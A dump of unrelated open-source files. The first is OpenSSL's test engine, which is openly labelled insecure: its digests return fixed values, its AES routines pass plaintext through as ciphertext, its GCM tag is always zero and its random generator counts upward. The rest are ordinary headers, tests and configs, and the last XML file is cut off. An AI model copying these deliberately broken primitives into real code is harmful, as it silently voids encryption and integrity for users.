text
stringlengths
2
100k
meta
dict
/* * Copyright 2015-2018 The OpenSSL Project Authors. All Rights Reserved. * * Licensed under the OpenSSL license (the "License"). You may not use * this file except in compliance with the License. You can obtain a copy * in the file LICENSE in the source distribution or at * https://www.openssl.org/source/license.html */ /* * This is the OSSLTEST engine. It provides deliberately crippled digest * implementations for test purposes. It is highly insecure and must NOT be * used for any purpose except testing */ #include <stdio.h> #include <string.h> #include <openssl/engine.h> #include <openssl/sha.h> #include <openssl/md5.h> #include <openssl/rsa.h> #include <openssl/evp.h> #include <openssl/modes.h> #include <openssl/aes.h> #include <openssl/rand.h> #include <openssl/crypto.h> #include "e_ossltest_err.c" /* Engine Id and Name */ static const char *engine_ossltest_id = "ossltest"; static const char *engine_ossltest_name = "OpenSSL Test engine support"; /* Engine Lifetime functions */ static int ossltest_destroy(ENGINE *e); static int ossltest_init(ENGINE *e); static int ossltest_finish(ENGINE *e); void ENGINE_load_ossltest(void); /* Set up digests */ static int ossltest_digests(ENGINE *e, const EVP_MD **digest, const int **nids, int nid); static const RAND_METHOD *ossltest_rand_method(void); /* MD5 */ static int digest_md5_init(EVP_MD_CTX *ctx); static int digest_md5_update(EVP_MD_CTX *ctx, const void *data, size_t count); static int digest_md5_final(EVP_MD_CTX *ctx, unsigned char *md); static EVP_MD *_hidden_md5_md = NULL; static const EVP_MD *digest_md5(void) { if (_hidden_md5_md == NULL) { EVP_MD *md; if ((md = EVP_MD_meth_new(NID_md5, NID_md5WithRSAEncryption)) == NULL || !EVP_MD_meth_set_result_size(md, MD5_DIGEST_LENGTH) || !EVP_MD_meth_set_input_blocksize(md, MD5_CBLOCK) || !EVP_MD_meth_set_app_datasize(md, sizeof(EVP_MD *) + sizeof(MD5_CTX)) || !EVP_MD_meth_set_flags(md, 0) || !EVP_MD_meth_set_init(md, digest_md5_init) || !EVP_MD_meth_set_update(md, digest_md5_update) || !EVP_MD_meth_set_final(md, digest_md5_final)) { EVP_MD_meth_free(md); md = NULL; } _hidden_md5_md = md; } return _hidden_md5_md; } /* SHA1 */ static int digest_sha1_init(EVP_MD_CTX *ctx); static int digest_sha1_update(EVP_MD_CTX *ctx, const void *data, size_t count); static int digest_sha1_final(EVP_MD_CTX *ctx, unsigned char *md); static EVP_MD *_hidden_sha1_md = NULL; static const EVP_MD *digest_sha1(void) { if (_hidden_sha1_md == NULL) { EVP_MD *md; if ((md = EVP_MD_meth_new(NID_sha1, NID_sha1WithRSAEncryption)) == NULL || !EVP_MD_meth_set_result_size(md, SHA_DIGEST_LENGTH) || !EVP_MD_meth_set_input_blocksize(md, SHA_CBLOCK) || !EVP_MD_meth_set_app_datasize(md, sizeof(EVP_MD *) + sizeof(SHA_CTX)) || !EVP_MD_meth_set_flags(md, EVP_MD_FLAG_DIGALGID_ABSENT) || !EVP_MD_meth_set_init(md, digest_sha1_init) || !EVP_MD_meth_set_update(md, digest_sha1_update) || !EVP_MD_meth_set_final(md, digest_sha1_final)) { EVP_MD_meth_free(md); md = NULL; } _hidden_sha1_md = md; } return _hidden_sha1_md; } /* SHA256 */ static int digest_sha256_init(EVP_MD_CTX *ctx); static int digest_sha256_update(EVP_MD_CTX *ctx, const void *data, size_t count); static int digest_sha256_final(EVP_MD_CTX *ctx, unsigned char *md); static EVP_MD *_hidden_sha256_md = NULL; static const EVP_MD *digest_sha256(void) { if (_hidden_sha256_md == NULL) { EVP_MD *md; if ((md = EVP_MD_meth_new(NID_sha256, NID_sha256WithRSAEncryption)) == NULL || !EVP_MD_meth_set_result_size(md, SHA256_DIGEST_LENGTH) || !EVP_MD_meth_set_input_blocksize(md, SHA256_CBLOCK) || !EVP_MD_meth_set_app_datasize(md, sizeof(EVP_MD *) + sizeof(SHA256_CTX)) || !EVP_MD_meth_set_flags(md, EVP_MD_FLAG_DIGALGID_ABSENT) || !EVP_MD_meth_set_init(md, digest_sha256_init) || !EVP_MD_meth_set_update(md, digest_sha256_update) || !EVP_MD_meth_set_final(md, digest_sha256_final)) { EVP_MD_meth_free(md); md = NULL; } _hidden_sha256_md = md; } return _hidden_sha256_md; } /* SHA384/SHA512 */ static int digest_sha384_init(EVP_MD_CTX *ctx); static int digest_sha512_init(EVP_MD_CTX *ctx); static int digest_sha512_update(EVP_MD_CTX *ctx, const void *data, size_t count); static int digest_sha384_final(EVP_MD_CTX *ctx, unsigned char *md); static int digest_sha512_final(EVP_MD_CTX *ctx, unsigned char *md); static EVP_MD *_hidden_sha384_md = NULL; static const EVP_MD *digest_sha384(void) { if (_hidden_sha384_md == NULL) { EVP_MD *md; if ((md = EVP_MD_meth_new(NID_sha384, NID_sha384WithRSAEncryption)) == NULL || !EVP_MD_meth_set_result_size(md, SHA384_DIGEST_LENGTH) || !EVP_MD_meth_set_input_blocksize(md, SHA512_CBLOCK) || !EVP_MD_meth_set_app_datasize(md, sizeof(EVP_MD *) + sizeof(SHA512_CTX)) || !EVP_MD_meth_set_flags(md, EVP_MD_FLAG_DIGALGID_ABSENT) || !EVP_MD_meth_set_init(md, digest_sha384_init) || !EVP_MD_meth_set_update(md, digest_sha512_update) || !EVP_MD_meth_set_final(md, digest_sha384_final)) { EVP_MD_meth_free(md); md = NULL; } _hidden_sha384_md = md; } return _hidden_sha384_md; } static EVP_MD *_hidden_sha512_md = NULL; static const EVP_MD *digest_sha512(void) { if (_hidden_sha512_md == NULL) { EVP_MD *md; if ((md = EVP_MD_meth_new(NID_sha512, NID_sha512WithRSAEncryption)) == NULL || !EVP_MD_meth_set_result_size(md, SHA512_DIGEST_LENGTH) || !EVP_MD_meth_set_input_blocksize(md, SHA512_CBLOCK) || !EVP_MD_meth_set_app_datasize(md, sizeof(EVP_MD *) + sizeof(SHA512_CTX)) || !EVP_MD_meth_set_flags(md, EVP_MD_FLAG_DIGALGID_ABSENT) || !EVP_MD_meth_set_init(md, digest_sha512_init) || !EVP_MD_meth_set_update(md, digest_sha512_update) || !EVP_MD_meth_set_final(md, digest_sha512_final)) { EVP_MD_meth_free(md); md = NULL; } _hidden_sha512_md = md; } return _hidden_sha512_md; } static void destroy_digests(void) { EVP_MD_meth_free(_hidden_md5_md); _hidden_md5_md = NULL; EVP_MD_meth_free(_hidden_sha1_md); _hidden_sha1_md = NULL; EVP_MD_meth_free(_hidden_sha256_md); _hidden_sha256_md = NULL; EVP_MD_meth_free(_hidden_sha384_md); _hidden_sha384_md = NULL; EVP_MD_meth_free(_hidden_sha512_md); _hidden_sha512_md = NULL; } static int ossltest_digest_nids(const int **nids) { static int digest_nids[6] = { 0, 0, 0, 0, 0, 0 }; static int pos = 0; static int init = 0; if (!init) { const EVP_MD *md; if ((md = digest_md5()) != NULL) digest_nids[pos++] = EVP_MD_type(md); if ((md = digest_sha1()) != NULL) digest_nids[pos++] = EVP_MD_type(md); if ((md = digest_sha256()) != NULL) digest_nids[pos++] = EVP_MD_type(md); if ((md = digest_sha384()) != NULL) digest_nids[pos++] = EVP_MD_type(md); if ((md = digest_sha512()) != NULL) digest_nids[pos++] = EVP_MD_type(md); digest_nids[pos] = 0; init = 1; } *nids = digest_nids; return pos; } /* Setup ciphers */ static int ossltest_ciphers(ENGINE *, const EVP_CIPHER **, const int **, int); static int ossltest_cipher_nids[] = { NID_aes_128_cbc, NID_aes_128_gcm, 0 }; /* AES128 */ int ossltest_aes128_init_key(EVP_CIPHER_CTX *ctx, const unsigned char *key, const unsigned char *iv, int enc); int ossltest_aes128_cbc_cipher(EVP_CIPHER_CTX *ctx, unsigned char *out, const unsigned char *in, size_t inl); int ossltest_aes128_gcm_init_key(EVP_CIPHER_CTX *ctx, const unsigned char *key, const unsigned char *iv, int enc); int ossltest_aes128_gcm_cipher(EVP_CIPHER_CTX *ctx, unsigned char *out, const unsigned char *in, size_t inl); static int ossltest_aes128_gcm_ctrl(EVP_CIPHER_CTX *ctx, int type, int arg, void *ptr); static EVP_CIPHER *_hidden_aes_128_cbc = NULL; static const EVP_CIPHER *ossltest_aes_128_cbc(void) { if (_hidden_aes_128_cbc == NULL && ((_hidden_aes_128_cbc = EVP_CIPHER_meth_new(NID_aes_128_cbc, 16 /* block size */, 16 /* key len */)) == NULL || !EVP_CIPHER_meth_set_iv_length(_hidden_aes_128_cbc,16) || !EVP_CIPHER_meth_set_flags(_hidden_aes_128_cbc, EVP_CIPH_FLAG_DEFAULT_ASN1 | EVP_CIPH_CBC_MODE) || !EVP_CIPHER_meth_set_init(_hidden_aes_128_cbc, ossltest_aes128_init_key) || !EVP_CIPHER_meth_set_do_cipher(_hidden_aes_128_cbc, ossltest_aes128_cbc_cipher) || !EVP_CIPHER_meth_set_impl_ctx_size(_hidden_aes_128_cbc, EVP_CIPHER_impl_ctx_size(EVP_aes_128_cbc())))) { EVP_CIPHER_meth_free(_hidden_aes_128_cbc); _hidden_aes_128_cbc = NULL; } return _hidden_aes_128_cbc; } static EVP_CIPHER *_hidden_aes_128_gcm = NULL; #define AES_GCM_FLAGS (EVP_CIPH_FLAG_DEFAULT_ASN1 \ | EVP_CIPH_CUSTOM_IV | EVP_CIPH_FLAG_CUSTOM_CIPHER \ | EVP_CIPH_ALWAYS_CALL_INIT | EVP_CIPH_CTRL_INIT \ | EVP_CIPH_CUSTOM_COPY |EVP_CIPH_FLAG_AEAD_CIPHER \ | EVP_CIPH_GCM_MODE) static const EVP_CIPHER *ossltest_aes_128_gcm(void) { if (_hidden_aes_128_gcm == NULL && ((_hidden_aes_128_gcm = EVP_CIPHER_meth_new(NID_aes_128_gcm, 1 /* block size */, 16 /* key len */)) == NULL || !EVP_CIPHER_meth_set_iv_length(_hidden_aes_128_gcm,12) || !EVP_CIPHER_meth_set_flags(_hidden_aes_128_gcm, AES_GCM_FLAGS) || !EVP_CIPHER_meth_set_init(_hidden_aes_128_gcm, ossltest_aes128_gcm_init_key) || !EVP_CIPHER_meth_set_do_cipher(_hidden_aes_128_gcm, ossltest_aes128_gcm_cipher) || !EVP_CIPHER_meth_set_ctrl(_hidden_aes_128_gcm, ossltest_aes128_gcm_ctrl) || !EVP_CIPHER_meth_set_impl_ctx_size(_hidden_aes_128_gcm, EVP_CIPHER_impl_ctx_size(EVP_aes_128_gcm())))) { EVP_CIPHER_meth_free(_hidden_aes_128_gcm); _hidden_aes_128_gcm = NULL; } return _hidden_aes_128_gcm; } static void destroy_ciphers(void) { EVP_CIPHER_meth_free(_hidden_aes_128_cbc); EVP_CIPHER_meth_free(_hidden_aes_128_gcm); _hidden_aes_128_cbc = NULL; } static int bind_ossltest(ENGINE *e) { /* Ensure the ossltest error handling is set up */ ERR_load_OSSLTEST_strings(); if (!ENGINE_set_id(e, engine_ossltest_id) || !ENGINE_set_name(e, engine_ossltest_name) || !ENGINE_set_digests(e, ossltest_digests) || !ENGINE_set_ciphers(e, ossltest_ciphers) || !ENGINE_set_RAND(e, ossltest_rand_method()) || !ENGINE_set_destroy_function(e, ossltest_destroy) || !ENGINE_set_init_function(e, ossltest_init) || !ENGINE_set_finish_function(e, ossltest_finish)) { OSSLTESTerr(OSSLTEST_F_BIND_OSSLTEST, OSSLTEST_R_INIT_FAILED); return 0; } return 1; } #ifndef OPENSSL_NO_DYNAMIC_ENGINE static int bind_helper(ENGINE *e, const char *id) { if (id && (strcmp(id, engine_ossltest_id) != 0)) return 0; if (!bind_ossltest(e)) return 0; return 1; } IMPLEMENT_DYNAMIC_CHECK_FN() IMPLEMENT_DYNAMIC_BIND_FN(bind_helper) #endif static ENGINE *engine_ossltest(void) { ENGINE *ret = ENGINE_new(); if (ret == NULL) return NULL; if (!bind_ossltest(ret)) { ENGINE_free(ret); return NULL; } return ret; } void ENGINE_load_ossltest(void) { /* Copied from eng_[openssl|dyn].c */ ENGINE *toadd = engine_ossltest(); if (!toadd) return; ENGINE_add(toadd); ENGINE_free(toadd); ERR_clear_error(); } static int ossltest_init(ENGINE *e) { return 1; } static int ossltest_finish(ENGINE *e) { return 1; } static int ossltest_destroy(ENGINE *e) { destroy_digests(); destroy_ciphers(); ERR_unload_OSSLTEST_strings(); return 1; } static int ossltest_digests(ENGINE *e, const EVP_MD **digest, const int **nids, int nid) { int ok = 1; if (!digest) { /* We are returning a list of supported nids */ return ossltest_digest_nids(nids); } /* We are being asked for a specific digest */ switch (nid) { case NID_md5: *digest = digest_md5(); break; case NID_sha1: *digest = digest_sha1(); break; case NID_sha256: *digest = digest_sha256(); break; case NID_sha384: *digest = digest_sha384(); break; case NID_sha512: *digest = digest_sha512(); break; default: ok = 0; *digest = NULL; break; } return ok; } static int ossltest_ciphers(ENGINE *e, const EVP_CIPHER **cipher, const int **nids, int nid) { int ok = 1; if (!cipher) { /* We are returning a list of supported nids */ *nids = ossltest_cipher_nids; return (sizeof(ossltest_cipher_nids) - 1) / sizeof(ossltest_cipher_nids[0]); } /* We are being asked for a specific cipher */ switch (nid) { case NID_aes_128_cbc: *cipher = ossltest_aes_128_cbc(); break; case NID_aes_128_gcm: *cipher = ossltest_aes_128_gcm(); break; default: ok = 0; *cipher = NULL; break; } return ok; } static void fill_known_data(unsigned char *md, unsigned int len) { unsigned int i; for (i=0; i<len; i++) { md[i] = (unsigned char)(i & 0xff); } } /* * MD5 implementation. We go through the motions of doing MD5 by deferring to * the standard implementation. Then we overwrite the result with a will defined * value, so that all "MD5" digests using the test engine always end up with * the same value. */ #undef data #define data(ctx) ((MD5_CTX *)EVP_MD_CTX_md_data(ctx)) static int digest_md5_init(EVP_MD_CTX *ctx) { return MD5_Init(data(ctx)); } static int digest_md5_update(EVP_MD_CTX *ctx, const void *data, size_t count) { return MD5_Update(data(ctx), data, (size_t)count); } static int digest_md5_final(EVP_MD_CTX *ctx, unsigned char *md) { int ret; ret = MD5_Final(md, data(ctx)); if (ret > 0) { fill_known_data(md, MD5_DIGEST_LENGTH); } return ret; } /* * SHA1 implementation. */ #undef data #define data(ctx) ((SHA_CTX *)EVP_MD_CTX_md_data(ctx)) static int digest_sha1_init(EVP_MD_CTX *ctx) { return SHA1_Init(data(ctx)); } static int digest_sha1_update(EVP_MD_CTX *ctx, const void *data, size_t count) { return SHA1_Update(data(ctx), data, (size_t)count); } static int digest_sha1_final(EVP_MD_CTX *ctx, unsigned char *md) { int ret; ret = SHA1_Final(md, data(ctx)); if (ret > 0) { fill_known_data(md, SHA_DIGEST_LENGTH); } return ret; } /* * SHA256 implementation. */ #undef data #define data(ctx) ((SHA256_CTX *)EVP_MD_CTX_md_data(ctx)) static int digest_sha256_init(EVP_MD_CTX *ctx) { return SHA256_Init(data(ctx)); } static int digest_sha256_update(EVP_MD_CTX *ctx, const void *data, size_t count) { return SHA256_Update(data(ctx), data, (size_t)count); } static int digest_sha256_final(EVP_MD_CTX *ctx, unsigned char *md) { int ret; ret = SHA256_Final(md, data(ctx)); if (ret > 0) { fill_known_data(md, SHA256_DIGEST_LENGTH); } return ret; } /* * SHA384/512 implementation. */ #undef data #define data(ctx) ((SHA512_CTX *)EVP_MD_CTX_md_data(ctx)) static int digest_sha384_init(EVP_MD_CTX *ctx) { return SHA384_Init(data(ctx)); } static int digest_sha512_init(EVP_MD_CTX *ctx) { return SHA512_Init(data(ctx)); } static int digest_sha512_update(EVP_MD_CTX *ctx, const void *data, size_t count) { return SHA512_Update(data(ctx), data, (size_t)count); } static int digest_sha384_final(EVP_MD_CTX *ctx, unsigned char *md) { int ret; /* Actually uses SHA512_Final! */ ret = SHA512_Final(md, data(ctx)); if (ret > 0) { fill_known_data(md, SHA384_DIGEST_LENGTH); } return ret; } static int digest_sha512_final(EVP_MD_CTX *ctx, unsigned char *md) { int ret; ret = SHA512_Final(md, data(ctx)); if (ret > 0) { fill_known_data(md, SHA512_DIGEST_LENGTH); } return ret; } /* * AES128 Implementation */ int ossltest_aes128_init_key(EVP_CIPHER_CTX *ctx, const unsigned char *key, const unsigned char *iv, int enc) { return EVP_CIPHER_meth_get_init(EVP_aes_128_cbc()) (ctx, key, iv, enc); } int ossltest_aes128_cbc_cipher(EVP_CIPHER_CTX *ctx, unsigned char *out, const unsigned char *in, size_t inl) { unsigned char *tmpbuf; int ret; tmpbuf = OPENSSL_malloc(inl); /* OPENSSL_malloc will return NULL if inl == 0 */ if (tmpbuf == NULL && inl > 0) return -1; /* Remember what we were asked to encrypt */ if (tmpbuf != NULL) memcpy(tmpbuf, in, inl); /* Go through the motions of encrypting it */ ret = EVP_CIPHER_meth_get_do_cipher(EVP_aes_128_cbc())(ctx, out, in, inl); /* Throw it all away and just use the plaintext as the output */ if (tmpbuf != NULL) memcpy(out, tmpbuf, inl); OPENSSL_free(tmpbuf); return ret; } int ossltest_aes128_gcm_init_key(EVP_CIPHER_CTX *ctx, const unsigned char *key, const unsigned char *iv, int enc) { return EVP_CIPHER_meth_get_init(EVP_aes_128_gcm()) (ctx, key, iv, enc); } int ossltest_aes128_gcm_cipher(EVP_CIPHER_CTX *ctx, unsigned char *out, const unsigned char *in, size_t inl) { unsigned char *tmpbuf = OPENSSL_malloc(inl); /* OPENSSL_malloc will return NULL if inl == 0 */ if (tmpbuf == NULL && inl > 0) return -1; /* Remember what we were asked to encrypt */ if (tmpbuf != NULL) memcpy(tmpbuf, in, inl); /* Go through the motions of encrypting it */ EVP_CIPHER_meth_get_do_cipher(EVP_aes_128_gcm())(ctx, out, in, inl); /* Throw it all away and just use the plaintext as the output */ if (tmpbuf != NULL && out != NULL) memcpy(out, tmpbuf, inl); OPENSSL_free(tmpbuf); return inl; } static int ossltest_aes128_gcm_ctrl(EVP_CIPHER_CTX *ctx, int type, int arg, void *ptr) { /* Pass the ctrl down */ int ret = EVP_CIPHER_meth_get_ctrl(EVP_aes_128_gcm())(ctx, type, arg, ptr); if (ret <= 0) return ret; switch(type) { case EVP_CTRL_AEAD_GET_TAG: /* Always give the same tag */ memset(ptr, 0, EVP_GCM_TLS_TAG_LEN); break; default: break; } return 1; } static int ossltest_rand_bytes(unsigned char *buf, int num) { unsigned char val = 1; while (--num >= 0) *buf++ = val++; return 1; } static int ossltest_rand_status(void) { return 1; } static const RAND_METHOD *ossltest_rand_method(void) { static RAND_METHOD osslt_rand_meth = { NULL, ossltest_rand_bytes, NULL, NULL, ossltest_rand_bytes, ossltest_rand_status }; return &osslt_rand_meth; }
{ "pile_set_name": "Github" }
// Copyright 2014 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build darwin dragonfly freebsd linux netbsd openbsd package test import ( "bytes" "testing" "golang.org/x/crypto/ssh" "golang.org/x/crypto/ssh/agent" ) func TestAgentForward(t *testing.T) { server := newServer(t) defer server.Shutdown() conn := server.Dial(clientConfig()) defer conn.Close() keyring := agent.NewKeyring() if err := keyring.Add(agent.AddedKey{PrivateKey: testPrivateKeys["dsa"]}); err != nil { t.Fatalf("Error adding key: %s", err) } if err := keyring.Add(agent.AddedKey{ PrivateKey: testPrivateKeys["dsa"], ConfirmBeforeUse: true, LifetimeSecs: 3600, }); err != nil { t.Fatalf("Error adding key with constraints: %s", err) } pub := testPublicKeys["dsa"] sess, err := conn.NewSession() if err != nil { t.Fatalf("NewSession: %v", err) } if err := agent.RequestAgentForwarding(sess); err != nil { t.Fatalf("RequestAgentForwarding: %v", err) } if err := agent.ForwardToAgent(conn, keyring); err != nil { t.Fatalf("SetupForwardKeyring: %v", err) } out, err := sess.CombinedOutput("ssh-add -L") if err != nil { t.Fatalf("running ssh-add: %v, out %s", err, out) } key, _, _, _, err := ssh.ParseAuthorizedKey(out) if err != nil { t.Fatalf("ParseAuthorizedKey(%q): %v", out, err) } if !bytes.Equal(key.Marshal(), pub.Marshal()) { t.Fatalf("got key %s, want %s", ssh.MarshalAuthorizedKey(key), ssh.MarshalAuthorizedKey(pub)) } }
{ "pile_set_name": "Github" }
#ifndef _SPMI_SPMI_H #define _SPMI_SPMI_H /** * struct dm_spmi_ops - SPMI device I/O interface * * Should be implemented by UCLASS_SPMI device drivers. The standard * device operations provides the I/O interface for it's childs. * * @read: read register 'reg' of slave 'usid' and peripheral 'pid' * @write: write register 'reg' of slave 'usid' and peripheral 'pid' * * Each register is 8-bit, both read and write can return negative values * on error. */ struct dm_spmi_ops { int (*read)(struct udevice *dev, int usid, int pid, int reg); int (*write)(struct udevice *dev, int usid, int pid, int reg, uint8_t value); }; /** * spmi_reg_read() - read a register from specific slave/peripheral * * @dev: SPMI bus to read * @usid SlaveID * @pid Peripheral ID * @reg: Register to read * @return value read on success or negative value of errno. */ int spmi_reg_read(struct udevice *dev, int usid, int pid, int reg); /** * spmi_reg_write() - write a register of specific slave/peripheral * * @dev: SPMI bus to write * @usid SlaveID * @pid Peripheral ID * @reg: Register to write * @value: Value to write * @return 0 on success or negative value of errno. */ int spmi_reg_write(struct udevice *dev, int usid, int pid, int reg, uint8_t value); #endif
{ "pile_set_name": "Github" }
using System.Web; using System.Web.Optimization; namespace SignalRChat { public class BundleConfig { // For more information on Bundling, visit http://go.microsoft.com/fwlink/?LinkId=254725 public static void RegisterBundles(BundleCollection bundles) { bundles.Add(new ScriptBundle("~/bundles/jquery").Include( "~/Scripts/jquery-{version}.js")); bundles.Add(new ScriptBundle("~/bundles/jqueryui").Include( "~/Scripts/jquery-ui-{version}.js")); bundles.Add(new ScriptBundle("~/bundles/jqueryval").Include( "~/Scripts/jquery.unobtrusive*", "~/Scripts/jquery.validate*")); // Use the development version of Modernizr to develop with and learn from. Then, when you're // ready for production, use the build tool at http://modernizr.com to pick only the tests you need. bundles.Add(new ScriptBundle("~/bundles/modernizr").Include( "~/Scripts/modernizr-*")); bundles.Add(new StyleBundle("~/Content/css").Include("~/Content/site.css")); bundles.Add(new StyleBundle("~/Content/themes/base/css").Include( "~/Content/themes/base/jquery.ui.core.css", "~/Content/themes/base/jquery.ui.resizable.css", "~/Content/themes/base/jquery.ui.selectable.css", "~/Content/themes/base/jquery.ui.accordion.css", "~/Content/themes/base/jquery.ui.autocomplete.css", "~/Content/themes/base/jquery.ui.button.css", "~/Content/themes/base/jquery.ui.dialog.css", "~/Content/themes/base/jquery.ui.slider.css", "~/Content/themes/base/jquery.ui.tabs.css", "~/Content/themes/base/jquery.ui.datepicker.css", "~/Content/themes/base/jquery.ui.progressbar.css", "~/Content/themes/base/jquery.ui.theme.css")); // SignalR bundle bundles.Add(new ScriptBundle("~/bundles/SignalR").Include( "~/Scripts/jquery.signalR-{version}.js")); } } }
{ "pile_set_name": "Github" }
import { Command } from './command'; import { AudioService } from 'services/audio'; import { Inject } from 'services/core/injector'; import { $t } from 'services/i18n'; export class MuteSourceCommand extends Command { @Inject() private audioService: AudioService; private oldValue: boolean; description: string; constructor(private sourceId: string, private muted: boolean) { super(); const action = muted ? 'Mute %{sourceName}' : 'Unmute %{sourceName}'; this.description = $t(action, { sourceName: this.audioService.views.getSource(this.sourceId).name, }); } execute() { const source = this.audioService.views.getSource(this.sourceId); this.oldValue = source.muted; source.setMuted(this.muted); } rollback() { const source = this.audioService.views.getSource(this.sourceId); source.setMuted(this.oldValue); } }
{ "pile_set_name": "Github" }
/* * Copyright (C) OpenTX * * Based on code named * th9x - http://code.google.com/p/th9x * er9x - http://code.google.com/p/er9x * gruvin9x - http://code.google.com/p/gruvin9x * * License GPLv2: http://www.gnu.org/licenses/gpl-2.0.html * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #ifndef _RAM_BACKUP_H_ #define _RAM_BACKUP_H_ #include "definitions.h" PACK(struct RamBackup { uint16_t size; uint8_t data[4094]; }); extern RamBackup * ramBackup; #endif // _RAM_BACKUP_H_
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 25 2017 03:49:04). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import "TPropertyTextFieldController.h" @interface TPrivsSummaryTextController : TPropertyTextFieldController { } - (void)initCommon; @end
{ "pile_set_name": "Github" }
package system // import "github.com/ory/dockertest/v3/docker/pkg/system" import ( "fmt" "os/exec" "syscall" ) // GetExitCode returns the ExitStatus of the specified error if its type is // exec.ExitError, returns 0 and an error otherwise. func GetExitCode(err error) (int, error) { exitCode := 0 if exiterr, ok := err.(*exec.ExitError); ok { if procExit, ok := exiterr.Sys().(syscall.WaitStatus); ok { return procExit.ExitStatus(), nil } } return exitCode, fmt.Errorf("failed to get exit code") }
{ "pile_set_name": "Github" }
/* * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.aliyuncs.cms.model.v20190101; import com.aliyuncs.RpcAcsRequest; import java.util.List; import com.aliyuncs.http.MethodType; /** * @author auto create * @version */ public class PutCustomMetricRequest extends RpcAcsRequest<PutCustomMetricResponse> { private List<MetricList> metricLists; public PutCustomMetricRequest() { super("Cms", "2019-01-01", "PutCustomMetric", "cms"); setMethod(MethodType.POST); } public List<MetricList> getMetricLists() { return this.metricLists; } public void setMetricLists(List<MetricList> metricLists) { this.metricLists = metricLists; if (metricLists != null) { for (int depth1 = 0; depth1 < metricLists.size(); depth1++) { putQueryParameter("MetricList." + (depth1 + 1) + ".Period" , metricLists.get(depth1).getPeriod()); putQueryParameter("MetricList." + (depth1 + 1) + ".GroupId" , metricLists.get(depth1).getGroupId()); putQueryParameter("MetricList." + (depth1 + 1) + ".Values" , metricLists.get(depth1).getValues()); putQueryParameter("MetricList." + (depth1 + 1) + ".Time" , metricLists.get(depth1).getTime()); putQueryParameter("MetricList." + (depth1 + 1) + ".MetricName" , metricLists.get(depth1).getMetricName()); putQueryParameter("MetricList." + (depth1 + 1) + ".Type" , metricLists.get(depth1).getType()); putQueryParameter("MetricList." + (depth1 + 1) + ".Dimensions" , metricLists.get(depth1).getDimensions()); } } } public static class MetricList { private String period; private String groupId; private String values; private String time; private String metricName; private String type; private String dimensions; public String getPeriod() { return this.period; } public void setPeriod(String period) { this.period = period; } public String getGroupId() { return this.groupId; } public void setGroupId(String groupId) { this.groupId = groupId; } public String getValues() { return this.values; } public void setValues(String values) { this.values = values; } public String getTime() { return this.time; } public void setTime(String time) { this.time = time; } public String getMetricName() { return this.metricName; } public void setMetricName(String metricName) { this.metricName = metricName; } public String getType() { return this.type; } public void setType(String type) { this.type = type; } public String getDimensions() { return this.dimensions; } public void setDimensions(String dimensions) { this.dimensions = dimensions; } } @Override public Class<PutCustomMetricResponse> getResponseClass() { return PutCustomMetricResponse.class; } }
{ "pile_set_name": "Github" }
package main import "./return_const_value" func main() { p := return_const_value.Foo_ptrGetPtr() if p.GetVal() != 17 { panic("Runtime test1 failed") } p = return_const_value.Foo_ptrGetConstPtr() if p.GetVal() != 17 { panic("Runtime test2 failed") } }
{ "pile_set_name": "Github" }
// Copyright 2018, OpenCensus Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package metricdata // Unit is a string encoded according to the case-sensitive abbreviations from the // Unified Code for Units of Measure: http://unitsofmeasure.org/ucum.html type Unit string // Predefined units. To record against a unit not represented here, create your // own Unit type constant from a string. const ( UnitDimensionless Unit = "1" UnitBytes Unit = "By" UnitMilliseconds Unit = "ms" )
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!-- This file is a sample NSIDC granule that tests granule reference collection additional attributes and granule spatail representation validation as in CMR-3177 and CMR-3179. --> <Granule> <GranuleUR>SC:NSIDC-0547.001:8142312</GranuleUR> <InsertTime>2016-04-25T17:23:38.197Z</InsertTime> <LastUpdate>2016-05-20T19:51:34.738Z</LastUpdate> <Collection> <ShortName>NSIDC-0547</ShortName> <VersionId>001</VersionId> </Collection> <RestrictionFlag>255</RestrictionFlag> <DataGranule> <SizeMBDataGranule>2.05424</SizeMBDataGranule> <ReprocessingActual>reprocessed once</ReprocessingActual> <ProducerGranuleId>AMSR_E_L3_5DaySnow_V09_20030101.hdf</ProducerGranuleId> <DayNightFlag>UNSPECIFIED</DayNightFlag> <ProductionDateTime>2009-05-19T14:36:24Z</ProductionDateTime> </DataGranule> <PGEVersionClass> <PGEVersion>09</PGEVersion> </PGEVersionClass> <Temporal> <RangeDateTime> <BeginningDateTime>2003-12-01T00:02:13.720000Z</BeginningDateTime> <EndingDateTime>2004-01-05T23:31:43.760000Z</EndingDateTime> </RangeDateTime> </Temporal> <Spatial> <HorizontalSpatialDomain> <Geometry> <BoundingRectangle> <WestBoundingCoordinate>-109.0</WestBoundingCoordinate> <NorthBoundingCoordinate>85.0</NorthBoundingCoordinate> <EastBoundingCoordinate>11.0</EastBoundingCoordinate> <SouthBoundingCoordinate>57.0</SouthBoundingCoordinate> </BoundingRectangle> </Geometry> </HorizontalSpatialDomain> </Spatial> <Platforms> <Platform> <ShortName>AQUA</ShortName> <Instruments> <Instrument> <ShortName>MODIS</ShortName> <Sensors> <Sensor> <ShortName>MODIS</ShortName> </Sensor> </Sensors> </Instrument> </Instruments> </Platform> </Platforms> <AdditionalAttributes> <AdditionalAttribute> <Name>SIPSMetGenVersion</Name> <Values> <Value>2.0.1</Value> </Values> </AdditionalAttribute> </AdditionalAttributes> 